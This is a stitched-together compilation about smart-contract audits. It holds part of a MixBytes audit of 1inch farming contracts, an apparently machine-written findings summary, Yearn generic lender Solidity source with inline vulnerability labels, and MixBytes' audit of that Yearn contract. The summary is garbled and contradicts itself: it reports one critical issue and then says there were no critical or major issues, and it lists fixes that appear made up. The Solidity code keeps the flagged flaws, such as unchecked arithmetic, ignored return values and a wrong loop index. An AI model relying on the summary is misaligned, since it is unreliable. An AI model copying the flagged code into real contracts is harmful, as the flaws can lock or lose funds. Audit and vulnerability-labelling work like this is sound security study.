we take a small positive value and apply the transformation uint256(-amount) to it, we get a very large value due to arithmetic overflow. For example, if you take number 1000, then after conversion you get value 115792089237316195423570985008687907853269984665640564039457584007913129638936. Recommendation Before line 29 you need to check if the value of the variable is not less than 0. If the value of the variable is positive, then do not do the conversion. Client's commentary We believe all corrections changes never make it larger than the current user balance multiplied by FPT, that's why subtraction is never negative. 12M-2 Gas overflow during iteration (DoS) File ERC20Farmable.sol#L70 Severity Medium Status Fixed in 70931257 Description Each iteration of the cycle requires a gas flow. A moment may come when more gas is required than it is allocated to record one block. In this case, all iterations of the loop will fail. Affected lines: Recommendation It is recommended to add a check for the maximum possible number of elements of the arrays.ERC20Farmable.sol#L70 • ERC20Farmable.sol#L117 • ERC20Farmable.sol#L121 • ERC20Farmable.sol#L137 • 13M-3 Zero Token File FarmingPool.sol#L35-L36 Severity Medium Status Fixed in 5b97ae7f Description There is no address checking for tokens params in constructor: FarmingPool.sol#L35-L36 Recommendation It is recommended to add a check for non-zero address. 142.4 Low L-1 Using "magic" numbers Files FarmAccounting.sol#L21 UserAccounting.sol#L29 Severity Low Status Fixed in d39a2605 Description The use in the source code of some unknown where taken values impairs its understanding. At the lines Recommendation It is recommended that you create constants with meaningful names to use numeric values.FarmAccounting.sol#L21 • FarmAccounting.sol#L29 • UserAccounting.sol#L29 the value is 1e18.• 15L-2 It is possible to block tokens on the balance of the contract File FarmingPool.sol#L48 Severity Low Status Fixed in 2b01fc6a Description At the line FarmingPool.sol#L48 rewardsToken is transferred to the balance of the contract. But there is no functionality to return tokens in case of an emergency or if not all users call the claim() function. Recommendation It is necessary to add functionality for the possibility of withdrawing the remaining tokens from the balance of the contract. 16L-3 Missed events Files FarmingPool.sol#L66 ERC20Farmable.sol#L58 Severity Low Status Fixed in 25e99776 Description There are missed events for claim, deposit, withdraw, join/quit farming. FarmingPool.sol#L66 FarmingPool.sol#L72 FarmingPool.sol#L78 ERC20Farmable.sol#L58 ERC20Farmable.sol#L75 ERC20Farmable.sol#L93 Recommendation We recommend emitting the events above. 173. ABOUT MIXBYTES MixBytes is a team of blockchain developers, auditors and analysts keen on decentralized systems. We build opensource solutions, smart contracts and blockchain protocols, perform security audits, work on benchmarking and software testing solutions, do research and tech consultancy. Contacts https://github.com/mixbytes/audits_public https://mixbytes.io/ hello@mixbytes.io https://twitter.com/mixbytes 18
Issues Count of Minor/Moderate/Major/Critical - Minor: 2 - Moderate: 3 - Major: 1 - Critical: 1 Minor Issues 2.a Problem (one line with code reference) - L-1 Using "Magic" Numbers 2.b Fix (one line with code reference) - Replace magic numbers with constants Moderate 3.a Problem (one line with code reference) - M-1 Possible Arithmetic Overflow 3.b Fix (one line with code reference) - Use SafeMath library Major 4.a Problem (one line with code reference) - H-3 Rebasable As Reward Tokens Breaks Logic 4.b Fix (one line with code reference) - Use a separate contract for rebasing Critical 5.a Problem (one line with code reference) - H-1 Reward Tokens May Be Frozen In FarmingPool 5.b Fix (one line with code reference) - Add a function to unfreeze tokens Observations - The audit found a total of 7 issues, including 1 critical, 1 major, 3 moderate, and 2 minor issues. - All Issues Count of Minor/Moderate/Major/Critical Minor: 2 Moderate: 0 Major: 0 Critical: 0 Minor Issues 2.a Problem: The user is not able to withdraw the staked tokens from the FarmingPool contract (line 545). 2.b Fix: The user should be able to withdraw the staked tokens from the FarmingPool contract (line 545). Moderate: None Major: None Critical: None Observations • All vulnerabilities discovered during the audit are classified based on their potential severity. • The user is able to deposit and withdraw tokens from the FarmingPool contract. • The user is able to join and quit the ERC20Farmable and Farm contracts. Conclusion The audit of the 1inch smart contracts revealed no critical or major issues. There were two minor issues found which have been fixed. The user is able to deposit and withdraw tokens from the FarmingPool contract and join and quit the ERC20Farmable and Farm contracts. Farm.sol#L41-L43 FarmingPool.sol#L48-L50 The amount of tokens transferred to the user may differ from the amount of tokens expected by the user. Recommendation We recommend to use the transferFrom function instead of the transfer function. H-3 Rebasable as reward tokens breaks logic Files Farm.sol#L41-L43 FarmingPool.sol#L48-L50 Severity High Status Acknowledged Description Farm.sol#L41-L43 FarmingPool.sol#L48-L50 The reward tokens are rebasable, which means that the amount of tokens received by the user may change during the farming period. Recommendation We recommend to use non-rebasable tokens as reward tokens. 2.3 Moderate M-1 Possible arithmetic overflow Files FarmAccounting.sol#L19 Severity Medium Status Acknowledged Description FarmAccounting.sol#L19 The calculation of the amount of tokens earned by the user may lead to an arithmetic overflow. Recommendation
// SPDX-License-Identifier: GPL-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import "./GenericLender/IGenericLender.sol"; import "./WantToEthOracle/IWantToEth.sol"; import "@yearnvaults/contracts/BaseStrategy.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/math/Math.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; interface IUni { function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); } /******************** * * A lender optimisation strategy for any erc20 asset * https://github.com/Grandthrax/yearnV2-generic-lender-strat * v0.2.2 * * This strategy works by taking plugins designed for standard lending platforms * It automatically chooses the best yield generating platform and adjusts accordingly * The adjustment is sub optimal so there is an additional option to manually set position * ********************* */ contract Strategy is BaseStrategy { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; address public constant uniswapRouter = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address public constant weth = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); IGenericLender[] public lenders; bool public externalOracle = false; address public wantToEthOracle; constructor(address _vault) public BaseStrategy(_vault) { debtThreshold = 1000; //we do this horrible thing because you can't compare strings in solidity require(keccak256(bytes(apiVersion())) == keccak256(bytes(VaultAPI(_vault).apiVersion())), "WRONG VERSION"); } function setPriceOracle(address _oracle) external onlyAuthorized { wantToEthOracle = _oracle; } function name() external view override returns (string memory) { return "StrategyLenderYieldOptimiser"; } //management functions //add lenders for the strategy to choose between // only governance to stop strategist adding dodgy lender function addLender(address a) public onlyGovernance { IGenericLender n = IGenericLender(a); require(n.strategy() == address(this), "Undocked Lender"); for (uint256 i = 0; i < lenders.length; i++) { require(a != address(lenders[i]), "Already Added"); } lenders.push(n); } //but strategist can remove for safety function safeRemoveLender(address a) public onlyAuthorized { _removeLender(a, false); } function forceRemoveLender(address a) public onlyAuthorized { _removeLender(a, true); } //force removes the lender even if it still has a balance function _removeLender(address a, bool force) internal { for (uint256 i = 0; i < lenders.length; i++) { if (a == address(lenders[i])) { bool allWithdrawn = lenders[i].withdrawAll(); if (!force) { require(allWithdrawn, "WITHDRAW FAILED"); } //put the last index here //remove last index if (i != lenders.length - 1) { lenders[i] = lenders[lenders.length - 1]; } //pop shortens array by 1 thereby deleting the last index lenders.pop(); //if balance to spend we might as well put it into the best lender if (want.balanceOf(address(this)) > 0) { adjustPosition(0); } return; } } require(false, "NOT LENDER"); } //we could make this more gas efficient but it is only used by a view function struct lendStatus { string name; uint256 assets; uint256 rate; address add; } //Returns the status of all lenders attached the strategy function lendStatuses() public view returns (lendStatus[] memory) { lendStatus[] memory statuses = new lendStatus[](lenders.length); for (uint256 i = 0; i < lenders.length; i++) { lendStatus memory s; s.name = lenders[i].lenderName(); s.add = address(lenders[i]); s.assets = lenders[i].nav(); s.rate = lenders[i].apr(); statuses[i] = s; } return statuses; } // lent assets plus loose assets function estimatedTotalAssets() public view override returns (uint256) { uint256 nav = lentTotalAssets(); // SWC-Integer Overflow and Underflow: L137 nav += want.balanceOf(address(this)); return nav; } function numLenders() public view returns (uint256) { return lenders.length; } //the weighted apr of all lenders. sum(nav * apr)/totalNav function estimatedAPR() public view returns (uint256) { uint256 bal = estimatedTotalAssets(); if (bal == 0) { return 0; } uint256 weightedAPR = 0; for (uint256 i = 0; i < lenders.length; i++) { // SWC-Integer Overflow and Underflow: L157 weightedAPR += lenders[i].weightedApr(); } return weightedAPR.div(bal); } //Estimates the impact on APR if we add more money. It does not take into account adjusting position function _estimateDebtLimitIncrease(uint256 change) internal view returns (uint256) { uint256 highestAPR = 0; uint256 aprChoice = 0; uint256 assets = 0; for (uint256 i = 0; i < lenders.length; i++) { uint256 apr = lenders[i].aprAfterDeposit(change); if (apr > highestAPR) { aprChoice = i; highestAPR = apr; assets = lenders[i].nav(); } } uint256 weightedAPR = highestAPR.mul(assets.add(change)); for (uint256 i = 0; i < lenders.length; i++) { if (i != aprChoice) { // SWC-Integer Overflow and Underflow: L183 weightedAPR += lenders[i].weightedApr(); } } uint256 bal = estimatedTotalAssets().add(change); return weightedAPR.div(bal); } //Estimates debt limit decrease. It is not accurate and should only be used for very broad decision making function _estimateDebtLimitDecrease(uint256 change) internal view returns (uint256) { uint256 lowestApr = uint256(-1); uint256 aprChoice = 0; for (uint256 i = 0; i < lenders.length; i++) { uint256 apr = lenders[i].aprAfterDeposit(change); if (apr < lowestApr) { aprChoice = i; lowestApr = apr; } } uint256 weightedAPR = 0; for (uint256 i = 0; i < lenders.length; i++) { if (i != aprChoice) { // SWC-Integer Overflow and Underflow: L210 weightedAPR += lenders[i].weightedApr(); } else { uint256 asset = lenders[i].nav(); if (asset < change) { //simplistic. not accurate change = asset; } // SWC-Integer Overflow and Underflow: 218 weightedAPR += lowestApr.mul(change); } } uint256 bal = estimatedTotalAssets().add(change); return weightedAPR.div(bal); } //estimates highest and lowest apr lenders. Public for debugging purposes but not much use to general public function estimateAdjustPosition() public view returns ( uint256 _lowest, uint256 _lowestApr, uint256 _highest, uint256 _potential ) { //all loose assets are to be invested uint256 looseAssets = want.balanceOf(address(this)); // our simple algo // get the lowest apr strat // cycle through and see who could take its funds plus want for the highest apr _lowestApr = uint256(-1); _lowest = 0; uint256 lowestNav = 0; for (uint256 i = 0; i < lenders.length; i++) { if (lenders[i].hasAssets()) { uint256 apr = lenders[i].apr(); if (apr < _lowestApr) { _lowestApr = apr; _lowest = i; lowestNav = lenders[i].nav(); } } } uint256 toAdd = lowestNav.add(looseAssets); uint256 highestApr = 0; _highest = 0; for (uint256 i = 0; i < lenders.length; i++) { uint256 apr; apr = lenders[i].aprAfterDeposit(looseAssets); if (apr > highestApr) { highestApr = apr; _highest = i; } } //if we can improve apr by withdrawing we do so _potential = lenders[_highest].aprAfterDeposit(toAdd); } //gives estiomate of future APR with a change of debt limit. Useful for governance to decide debt limits function estimatedFutureAPR(uint256 newDebtLimit) public view returns (uint256) { uint256 oldDebtLimit = vault.strategies(address(this)).totalDebt; uint256 change; if (oldDebtLimit < newDebtLimit) { change = newDebtLimit - oldDebtLimit; return _estimateDebtLimitIncrease(change); } else { change = oldDebtLimit - newDebtLimit; return _estimateDebtLimitDecrease(change); } } //cycle all lenders and collect balances function lentTotalAssets() public view returns (uint256) { uint256 nav = 0; for (uint256 i = 0; i < lenders.length; i++) { // SWC-Integer Overflow and Underflow: 293 nav += lenders[i].nav(); } return nav; } //we need to free up profit plus _debtOutstanding. //If _debtOutstanding is more than we can free we get as much as possible // should be no way for there to be a loss. we hope... function prepareReturn(uint256 _debtOutstanding) internal override returns ( uint256 _profit, uint256 _loss, uint256 _debtPayment ) { _profit = 0; _loss = 0; //for clarity _debtPayment = _debtOutstanding; uint256 lentAssets = lentTotalAssets(); uint256 looseAssets = want.balanceOf(address(this)); uint256 total = looseAssets.add(lentAssets); if (lentAssets == 0) { //no position to harvest or profit to report if (_debtPayment > looseAssets) { //we can only return looseAssets _debtPayment = looseAssets; } return (_profit, _loss, _debtPayment); } uint256 debt = vault.strategies(address(this)).totalDebt; if (total > debt) { _profit = total - debt; uint256 amountToFree = _profit.add(_debtPayment); //we need to add outstanding to our profit //dont need to do logic if there is nothiing to free if (amountToFree > 0 && looseAssets < amountToFree) { //withdraw what we can withdraw _withdrawSome(amountToFree.sub(looseAssets)); uint256 newLoose = want.balanceOf(address(this)); //if we dont have enough money adjust _debtOutstanding and only change profit if needed if (newLoose < amountToFree) { if (_profit > newLoose) { _profit = newLoose; _debtPayment = 0; } else { _debtPayment = Math.min(newLoose - _profit, _debtPayment); } } } } else { //serious loss should never happen but if it does lets record it accurately _loss = debt - total; uint256 amountToFree = _loss.add(_debtPayment); if (amountToFree > 0 && looseAssets < amountToFree) { //withdraw what we can withdraw _withdrawSome(amountToFree.sub(looseAssets)); uint256 newLoose = want.balanceOf(address(this)); //if we dont have enough money adjust _debtOutstanding and only change profit if needed if (newLoose < amountToFree) { if (_loss > newLoose) { _loss = newLoose; _debtPayment = 0; } else { _debtPayment = Math.min(newLoose - _loss, _debtPayment); } } } } } /* * Key logic. * The algorithm moves assets from lowest return to highest * like a very slow idiots bubble sort * we ignore debt outstanding for an easy life */ function adjustPosition(uint256 _debtOutstanding) internal override { //we just keep all money in want if we dont have any lenders if (lenders.length == 0) { return; } _debtOutstanding; //ignored. we handle it in prepare return //emergency exit is dealt with at beginning of harvest if (emergencyExit) { return; } (uint256 lowest, uint256 lowestApr, uint256 highest, uint256 potential) = estimateAdjustPosition(); if (potential > lowestApr) { //apr should go down after deposit so wont be withdrawing from self // SWC-Unchecked Call Return Value: L400 lenders[lowest].withdrawAll(); } uint256 bal = want.balanceOf(address(this)); if (bal > 0) { want.safeTransfer(address(lenders[highest]), bal); lenders[highest].deposit(); } } struct lenderRatio { address lender; //share x 1000 uint16 share; } //share must add up to 1000. function manualAllocation(lenderRatio[] memory _newPositions) public onlyAuthorized { uint256 share = 0; // SWC-DoS With Block Gas Limit: L421 - L424 for (uint256 i = 0; i < lenders.length; i++) { // SWC-Unchecked Call Return Value: L422 lenders[i].withdrawAll(); } uint256 assets = want.balanceOf(address(this)); for (uint256 i = 0; i < _newPositions.length; i++) { bool found = false; //might be annoying and expensive to do this second loop but worth it for safety for (uint256 j = 0; j < lenders.length; j++) { if (address(lenders[j]) == _newPositions[j].lender) { found = true; } } require(found, "NOT LENDER"); // SWC-Integer Overflow and Underflow: 437 share += _newPositions[i].share; uint256 toSend = assets.mul(_newPositions[i].share).div(1000); want.safeTransfer(_newPositions[i].lender, toSend); IGenericLender(_newPositions[i].lender).deposit(); } require(share == 1000, "SHARE!=1000"); } //cycle through withdrawing from worst rate first function _withdrawSome(uint256 _amount) internal returns (uint256 amountWithdrawn) { //dont withdraw dust if (_amount < debtThreshold) { return 0; } amountWithdrawn = 0; //most situations this will only run once. Only big withdrawals will be a gas guzzler uint256 j = 0; while (amountWithdrawn < _amount) { uint256 lowestApr = uint256(-1); uint256 lowest = 0; for (uint256 i = 0; i < lenders.length; i++) { if (lenders[i].hasAssets()) { uint256 apr = lenders[i].apr(); if (apr < lowestApr) { lowestApr = apr; lowest = i; } } } if (!lenders[lowest].hasAssets()) { return amountWithdrawn; } // SWC-Integer Overflow and Underflow: 472 amountWithdrawn += lenders[lowest].withdraw(_amount - amountWithdrawn); j++; //dont want infinite loop if (j >= 6) { return amountWithdrawn; } } } /* * Liquidate as many assets as possible to `want`, irregardless of slippage, * up to `_amountNeeded`. Any excess should be re-invested here as well. */ function liquidatePosition(uint256 _amountNeeded) internal override returns (uint256 _amountFreed, uint256 _loss) { uint256 _balance = want.balanceOf(address(this)); if (_balance >= _amountNeeded) { //if we don't set reserve here withdrawer will be sent our full balance return (_amountNeeded, 0); } else { uint256 received = _withdrawSome(_amountNeeded - _balance).add(_balance); if (received >= _amountNeeded) { return (_amountNeeded, 0); } else { return (received, 0); } } } function harvestTrigger(uint256 callCost) public view override returns (bool) { uint256 wantCallCost = _callCostToWant(callCost); return super.harvestTrigger(wantCallCost); } function ethToWant(uint256 _amount) internal view returns (uint256) { address[] memory path = new address[](2); path = new address[](2); path[0] = weth; path[1] = address(want); uint256[] memory amounts = IUni(uniswapRouter).getAmountsOut(_amount, path); return amounts[amounts.length - 1]; } function _callCostToWant(uint256 callCost) internal view returns (uint256) { uint256 wantCallCost; //three situations //1 currency is eth so no change. //2 we use uniswap swap price //3 we use external oracle if (address(want) == weth) { wantCallCost = callCost; } else if (wantToEthOracle == address(0)) { wantCallCost = ethToWant(callCost); } else { wantCallCost = IWantToEth(wantToEthOracle).ethToWant(callCost); } return wantCallCost; } function tendTrigger(uint256 callCost) public view override returns (bool) { // make sure to call tendtrigger with same callcost as harvestTrigger if (harvestTrigger(callCost)) { return false; } //now let's check if there is better apr somewhere else. //If there is and profit potential is worth changing then lets do it (uint256 lowest, uint256 lowestApr, , uint256 potential) = estimateAdjustPosition(); //if protential > lowestApr it means we are changing horses if (potential > lowestApr) { uint256 nav = lenders[lowest].nav(); //profit increase is 1 days profit with new apr uint256 profitIncrease = (nav.mul(potential) - nav.mul(lowestApr)).div(1e18).div(365); uint256 wantCallCost = _callCostToWant(callCost); // SWC-Integer Overflow and Underflow: 556 return (wantCallCost * callCost < profitIncrease); } } /* * revert if we can't withdraw full balance */ function prepareMigration(address _newStrategy) internal override { uint256 outstanding = vault.strategies(address(this)).totalDebt; (, uint256 loss, uint256 wantBalance) = prepareReturn(outstanding); require(wantBalance.add(loss) >= outstanding, "LIQUIDITY LOCKED"); want.safeTransfer(_newStrategy, want.balanceOf(address(this))); } function protectedTokens() internal view override returns (address[] memory) { address[] memory protected = new address[](1); protected[0] = address(want); return protected; } }
YEARN V2 GENERIC LENDER SMART CONTRACT AUDIT February 15, 2021 MixBytes()CONTENTS 1.INTRODUCTION...................................................................1 DISCLAIMER....................................................................1 PROJECT OVERVIEW..............................................................1 SECURITY ASSESSMENT METHODOLOGY...............................................2 EXECUTIVE SUMMARY.............................................................4 PROJECT DASHBOARD.............................................................4 2.FINDINGS REPORT................................................................6 2.1.CRITICAL..................................................................6 2.2.MAJOR.....................................................................6 MJR-1 It is possible to process a non-existing array element or skip an array element...............................................................6 MJR-2 Ignore failure status for CToken ......................................7 2.3.WARNING...................................................................9 WRN-1 Safe math library not used............................................9 WRN-2 There is no processing of the value returned by the function.........10 WRN-3 The return value is not processed when transferring tokens...........11 WRN-4 Gas overflow during iteration (DoS)..................................12 WRN-5 Add additional check for addLender ...................................13 WRN-6 Potential error Index out of range .....................................14 WRN-7 Potential money remains on the strategy..............................15 2.4.COMMENTS.................................................................16 CMT-1 Using magic numbers..................................................16 CMT-2 Function without logic...............................................18 CMT-3 The unchangeable value of the variable...............................19 CMT-4 Maximum value in function approve() ..................................20 CMT-5 Unresolved TODO ......................................................21 CMT-6 Add modifier for emergencyExit state..................................22 CMT-7 Add event for migrate .................................................23 3.ABOUT MIXBYTES................................................................24 1.INTRODUCTION 1.1DISCLAIMER The audit makes no statements or warranties about utility of the code, safety of the code, suitability of the business model, investment advice, endorsement of the platform or its products, regulatory regime for the business model, or any other statements about fitness of the contracts to purpose, or their bug free status. The audit documentation is for discussion purposes only. The information presented in this report is confidential and privileged. If you are reading this report, you agree to keep it confidential, not to copy, disclose or disseminate without the agreement of Yearn V2. If you are not the intended recipient(s) of this document, please note that any disclosure, copying or dissemination of its content is strictly forbidden. 1.2PROJECT OVERVIEW 11.3SECURITY ASSESSMENT METHODOLOGY At least 2 auditors are involved in the work on the audit who check the provided source code independently of each other in accordance with the methodology described below: 01"Blind" audit includes: >Manual code study >"Reverse" research and study of the architecture of the code based on the source code only Stage goal: Building an independent view of the project's architecture Finding logical flaws 02Checking the code against the checklist of known vulnerabilities includes: >Manual code check for vulnerabilities from the company's internal checklist >The company's checklist is constantly updated based on the analysis of hacks, research and audit of the clients' code Stage goal: Eliminate typical vulnerabilities (e.g. reentrancy, gas limit, flashloan attacks, etc.) 03Checking the logic, architecture of the security model for compliance with the desired model, which includes: >Detailed study of the project documentation >Examining contracts tests >Examining comments in code >Comparison of the desired model obtained during the study with the reversed view obtained during the blind audit Stage goal: Detection of inconsistencies with the desired model 04Consolidation of the reports from all auditors into one common interim report document >Cross check: each auditor reviews the reports of the others >Discussion of the found issues by the auditors >Formation of a general (merged) report Stage goal: Re-check all the problems for relevance and correctness of the threat level Provide the client with an interim report 05Bug fixing & re-check. >Client fixes or comments on every issue >Upon completion of the bug fixing, the auditors double-check each fix and set the statuses with a link to the fix Stage goal: Preparation of the final code version with all the fixes 06Preparation of the final audit report and delivery to the customer. 2Findings discovered during the audit are classified as follows: FINDINGS SEVERITY BREAKDOWN Level Description Required action CriticalBugs leading to assets theft, fund access locking, or any other loss funds to be transferred to any partyImmediate action to fix issue Major Bugs that can trigger a contract failure. Further recovery is possible only by manual modification of the contract state or replacement.Implement fix as soon as possible WarningBugs that can break the intended contract logic or expose it to DoS attacksTake into consideration and implement fix in certain period CommentOther issues and recommendations reported to/acknowledged by the teamTake into consideration Based on the feedback received from the Customer's team regarding the list of findings discovered by the Contractor, they are assigned the following statuses: Status Description Fixed Recommended fixes have been made to the project code and no longer affect its security. AcknowledgedThe project team is aware of this finding. Recommendations for this finding are planned to be resolved in the future. This finding does not affect the overall safety of the project. No issue Finding does not affect the overall safety of the project and does not violate the logic of its work. 31.4EXECUTIVE SUMMARY The checked volume includes a set of smart contracts that are part of the project, which combines the functionality for working with lending. The developed functionality serves as an aggregator of all known platforms for working with lending. It allows you to choose the optimal platform for the user. 1.5PROJECT DASHBOARD Client Yearn V2 Audit name Generic lender Initial version 979ef2f0e5da39ca59a5907c37ba2064fcd6be82 3ead812d7ac9844cc484a76545b3e222a9130852 Final version 3ead812d7ac9844cc484a76545b3e222a9130852 SLOC 1263 Date 2021-01-21 - 2021-02-15 Auditors engaged 2 auditors 4FILES LISTING Strategy.sol Strategy.sol AlphaHomoLender.sol AlphaHomoLender.sol EthCompound.sol EthCompound.sol EthCream.sol EthCream.sol GenericCompound.sol GenericCompound.sol GenericCream.sol GenericCream.sol GenericDyDx.sol GenericDyDx.sol GenericLenderBase.sol GenericLenderBase.sol IGenericLender.sol IGenericLender.sol FINDINGS SUMMARY Level Amount Critical 0 Major 2 Warning 7 Comment 7 CONCLUSION Smart contracts have been audited and several suspicious places have been spotted. During the audit, no critical issues were found, two issues were marked as major because it could lead to some undesired behavior, also several warnings and comments were found and discussed with the client. After working on the reported findings all of them were resolved or acknowledged (if the problem was not critical). 52.FINDINGS REPORT 2.1CRITICAL Not Found 2.2MAJOR MJR-1 It is possible to process a non-existing array element or skip an array element File Strategy.sol SeverityMajor Status Fixed at 3ead812d DESCRIPTION At the line Strategy.sol#L424 is working with the elements of the _newPositions array in a loop. For each element of the lenders array, there must be an element of the _newPositions array. But now the iteration of elements for the _newPositions array is not done correctly. This will cause the manualAllocation() function to work incorrectly. RECOMMENDATION It is necessary to correct the index value for the _newPositions array: if (address(lenders[j]) == _newPositions[i].lender) { CLIENT'S COMMENTARY good spot. fixed. 6MJR-2 Ignore failure status for CToken File GenericCompound.sol GenericCream.sol SeverityMajor Status Acknowledged DESCRIPTION There are many reasons for failure CToken , but Lenders contracts ignore it in the all places. Interface methods of CToken : For function mint(uint256 mintAmount) external returns (uint256); GenericCompound.sol#L140 GenericCream.sol#L119 For function redeemUnderlying(uint256 redeemAmount) external returns (uint256); GenericCompound.sol#L85 GenericCompound.sol#L113 GenericCompound.sol#L116 GenericCream.sol#L78 GenericCream.sol#L106 GenericCream.sol#L109 Return value ( uint256 ) is enum of errors which may be: enum Error { NO_ERROR, UNAUTHORIZED, COMPTROLLER_MISMATCH, INSUFFICIENT_SHORTFALL, INSUFFICIENT_LIQUIDITY, INVALID_CLOSE_FACTOR, INVALID_COLLATERAL_FACTOR, INVALID_LIQUIDATION_INCENTIVE, 7 MARKET_NOT_ENTERED, // no longer possible MARKET_NOT_LISTED, MARKET_ALREADY_LISTED, MATH_ERROR, NONZERO_BORROW_BALANCE, PRICE_ERROR, REJECTION, SNAPSHOT_ERROR, TOO_MANY_ASSETS, TOO_MUCH_REPAY } RECOMMENDATION We recommend to validate return of every method for CToken . If method returns no NO_ERROR — revert it. CLIENT'S COMMENTARY adding in some requires where useful. 82.3WARNING WRN-1 Safe math library not used File Strategy.sol SeverityWarning Status Fixed at 3ead812d DESCRIPTION If you do not use the library for safe math, then an arithmetic overflow may occur, which will lead to incorrect operation of smart contracts. In the contract Strategy.sol on lines: 136, 155, 180, 206, 213, 287, 430, 464, 543, 547 calculations are without safe mathematics. RECOMMENDATION All arithmetic operations need to be redone using the Safe math library. CLIENT'S COMMENTARY fixed where appropriate. 9WRN-2 There is no processing of the value returned by the function File IGenericLender.sol Strategy.sol SeverityWarning Status Acknowledged DESCRIPTION In the IGenericLender.sol contract, line 21 has a function withdrawAll() . This function returns a value of type bool . For the line Strategy.sol#L40, the variable lenders of type IGenericLender[] is initialized. In the contract Strategy.sol on lines 393 and 414 there is a call to the function withdrawAll() . But the return value is not processed. RECOMMENDATION Add processing of the value returned by the function. 1 0WRN-3 The return value is not processed when transferring tokens File GenericLenderBase.sol SeverityWarning Status Fixed at 3ead812d DESCRIPTION According to the ERC-20 specification, the transfer() function returns a variable of the bool type. At the line GenericLenderBase.sol#L56 there is a call to the transfer() function. But the return value is not processed. This can lead to incorrect operation of the smart contract. RECOMMENDATION It is necessary to add handling of the value returned by the transfer() function. CLIENT'S COMMENTARY changed to use safeErc20. 1 1WRN-4 Gas overflow during iteration (DoS) File Strategy.sol SeverityWarning Status Acknowledged DESCRIPTION Each iteration of the cycle requires a gas flow. A moment may come when more gas is required than it is allocated to record one block. In this case, all iterations of the loop will fail. Affected lines: Strategy.sol#L413 RECOMMENDATION It is recommended adding a check for the maximum possible number of elements of the arrays. CLIENT'S COMMENTARY disagree. we don't mind this risk as manualAllocation is privileged. 1 2WRN-5 Add additional check for addLender File Strategy.sol SeverityWarning Status Acknowledged DESCRIPTION At the line Strategy.sol#L67 in method addLender there are no checks for want . RECOMMENDATION It is recommended to check that want token of Strategy equals want token of Lender. CLIENT'S COMMENTARY disagree. want is checked in lender constructor. 1 3WRN-6 Potential error Index out of range File Strategy.sol SeverityWarning Status Fixed at 3ead812d DESCRIPTION In methods: estimateAdjustPosition at the line Strategy.sol#L267 _potential = lenders[_highest].aprAfterDeposit(toAdd) adjustPosition at the line Strategy.sol#L399 lenders[highest].deposit() _withdrawSome at the line Strategy.sol#L464 amountWithdrawn += lenders[lowest].withdraw(_amount - amountWithdrawn) There are risks that lenders array may be empty. RECOMMENDATION It is recommended to add next code: if (lenders.length == 0) { return; } CLIENT'S COMMENTARY fixed. —   auditor Remaining fix still here: Strategy.sol#L273. 1 4WRN-7 Potential money remains on the strategy File Strategy.sol SeverityWarning Status Acknowledged DESCRIPTION At the line Strategy.sol#L431 uint256 toSend = assets.mul(_newPositions[i].share).div(1000) Then the contract sends toSend amount to lender and deposits it immediately. For example imagine that assets equals 33 and lenderRatio[] equals [{address1, 500}, {address2, 500}]. Next logic: 0. want.balanceOf(address(this)) -> 33 1. toSend = (33 * 500) // 1000 = 16 -> deposit it to address1 2. toSend = (33 * 500) // 1000 = 16 -> deposit it to address2 3. require(share == 1000, "SHARE!=1000") -> true 4. want.balanceOf(address(this)) -> 1 // remain tokens RECOMMENDATION It is recommended to process remain tokens and deposit them too. 1 52.4COMMENTS CMT-1 Using magic numbers File Strategy.sol GenericCompound.sol GenericDyDx.sol GenericCream.sol EthCream.sol EthCompound.sol AlphaHomoLender.sol SeverityComment Status Fixed at 3ead812d DESCRIPTION The use in the source code of some unknown where taken values impairs its understanding. The value is 1000 : in the contract Strategy.sol on lines 45, 431, 436 The value is 1e18 : in the contract Strategy.sol#L543 in the contract GenericCompound.sol#L62 in the contract GenericDyDx.sol on lines 177, 178 in the contract GenericCream.sol#L55 in the contract EthCream.sol#L53 in the contract EthCompound.sol on lines 59, 181, 189, 191 The value is 1 : in the contract AlphaHomoLender.sol#L137 in the contract EthCompound.sol#L108 in the contract EthCream.sol#L102 in the contract GenericCompound.sol#L108 in the contract GenericCream.sol#L101 in the contract GenericDyDx.sol#L106 RECOMMENDATION It is recommended that you create constants with meaningful names for using numeric values. CLIENT'S COMMENTARY 1 6explained magic numbers where appropriate. Changed in tendTrigger. 1 7CMT-2 Function without logic File IGeneric.sol AlphaHomoLender.sol EthCompound.sol EthCream.sol GenericCompound.sol GenericCream.sol GenericDyDx.sol SeverityComment Status Acknowledged DESCRIPTION At the line IGeneric.sol#L23 has an external function enabled() . This function always returns true when executed. There is no other logic in this function. This function is located in the following locations: at the line AlphaHomoLender.sol#L177 at the line EthCompound.sol#L164 at the line EthCream.sol#L143 at the line GenericCompound.sol#L150 at the line GenericCream.sol#L129 at the line GenericDyDx.sol#L160 RECOMMENDATION It is recommended that you remove this function or add logic to the body of the function. 1 8CMT-3 The unchangeable value of the variable File Strategy.sol SeverityComment Status Acknowledged DESCRIPTION The contract Strategy.sol#L477 has an internal function liquidatePosition() . One of the return variables for this function is called _loss . The value of this variable is always 0 . This can be seen on lines 482, 486, 488. RECOMMENDATION It is recommended to delete a variable whose value does not change. 1 9CMT-4 Maximum value in function approve() File GenericCream.sol GenericLenderBase.sol GenericCompound.sol GenericDyDx.sol SeverityComment Status Acknowledged DESCRIPTION Setting a maximum value for the amount of tokens that can be manipulated after calling the approve() function could cause an attacker to invoke his transaction for his profit. Such calls are now in the following places: GenericCream.sol#L39 GenericLenderBase.sol#L45 GenericCompound.sol#L46 GenericDyDx.sol#L34 RECOMMENDATION When calling the approve() function, set the actual value for the amount of tokens. 2 0CMT-5 Unresolved TODO File GenericDyDx.sol SeverityComment Status Fixed at 3ead812d DESCRIPTION Unresolved TODO was found in GenericDyDx.sol#L29. RECOMMENDATION It is recommended to resolve it. 2 1CMT-6 Add modifier for emergencyExit state File Strategy.sol SeverityComment Status Acknowledged DESCRIPTION Some functions of Strategy.sol don't check emergencyExit state. This allows to continue working with the contract after exit. RECOMMENDATION It is recommended fixing it with special modifier emergencyExit . 2 2CMT-7 Add event for migrate File Strategy.sol SeverityComment Status Acknowledged DESCRIPTION At the line Strategy.sol#L554 for the migration process there is only a Transfer event. 